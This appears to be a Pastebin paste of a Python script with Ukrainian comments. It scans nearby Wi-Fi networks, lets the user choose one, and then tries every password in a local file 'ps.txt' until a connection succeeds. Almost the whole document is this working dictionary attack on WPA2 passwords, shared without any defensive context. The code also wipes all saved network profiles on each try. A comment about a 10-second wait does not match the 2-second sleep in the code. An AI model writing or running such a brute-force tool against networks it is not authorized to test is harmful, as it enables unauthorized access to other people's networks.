Vla_DOS

wifi

Jul 2nd, 2023
108
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.28 KB | None | 0 0
  1. import pywifi
  2. from pywifi import const
  3. import sys
  4. sys.stdout.reconfigure(encoding='utf-8')
  5.  
  6. def scan_wifi_networks():
  7.     wifi = pywifi.PyWiFi()  # Ініціалізуємо об'єкт PyWiFi
  8.     iface = wifi.interfaces()[0]  # Отримуємо перший доступний інтерфейс
  9.  
  10.     iface.scan()  # Скануємо доступні бездротові мережі
  11.     networks = iface.scan_results()
  12.  
  13.     ssid_list = []
  14.     for network in networks:
  15.         ssid = network.ssid
  16.         ssid_list.append(ssid)
  17.  
  18.     return ssid_list
  19.  
  20. def connect_to_wifi(ssid, password):
  21.     wifi = pywifi.PyWiFi()  # Ініціалізуємо об'єкт PyWiFi
  22.     iface = wifi.interfaces()[0]  # Отримуємо перший доступний інтерфейс
  23.  
  24.     iface.disconnect()  # Відключаємо від поточної мережі
  25.  
  26.     profile = pywifi.Profile()  # Створюємо профіль для нової мережі
  27.     profile.ssid = ssid  # Встановлюємо назву (SSID) мережі
  28.     profile.auth = const.AUTH_ALG_OPEN  # Встановлюємо алгоритм автентифікації
  29.     profile.akm.append(const.AKM_TYPE_WPA2PSK)  # Встановлюємо тип автентифікації
  30.     profile.cipher = const.CIPHER_TYPE_CCMP  # Встановлюємо тип шифрування
  31.     profile.key = password  # Встановлюємо пароль для мережі
  32.  
  33.     iface.remove_all_network_profiles()  # Видаляємо всі збережені профілі
  34.  
  35.     tmp_profile = iface.add_network_profile(profile)  # Додаємо новий профіль
  36.  
  37.     iface.connect(tmp_profile)  # Підключаємося до мережі
  38.  
  39.     # Очікуємо 10 секунд на успішне підключення
  40.     # Можна збільшити або зменшити цей час за потреби
  41.     import time
  42.     time.sleep(2)
  43.  
  44.     if iface.status() == const.IFACE_CONNECTED:
  45.         print("Підключення успішне!")
  46.         return True
  47.     else:
  48.         print("Не вдалося підключитися до мережі.")
  49.         return False
  50.  
  51. # Зчитуємо паролі з файлу txt
  52. def read_passwords_from_file(filename):
  53.     passwords = []
  54.     with open(filename, 'r', encoding='utf-8') as file:
  55.         for line in file:
  56.             password = line.strip()
  57.             passwords.append(password)
  58.     return passwords
  59.  
  60. # Отримуємо список доступних мереж
  61. networks = scan_wifi_networks()
  62.  
  63. print("Доступні мережі:")
  64. for i, ssid in enumerate(networks, start=1):
  65.     print(f"{i}. {ssid}")
  66.  
  67. selected_network = int(input("Виберіть номер мережі для підключення: "))
  68. selected_ssid = networks[selected_network - 1]
  69.  
  70. passwords = read_passwords_from_file("ps.txt")
  71.  
  72. connected = False
  73. for password in passwords:
  74.     print(f"Спроба підключення до мережі {selected_ssid} з паролем {password}")
  75.     connected = connect_to_wifi(selected_ssid, password)
  76.     if connected:
  77.         break
  78.  
  79. if not connected:
  80.     print("Не вдалося підключитися до мережі з усіма доступними паролями.")
  81.  
Add Comment
Please, Sign In to add comment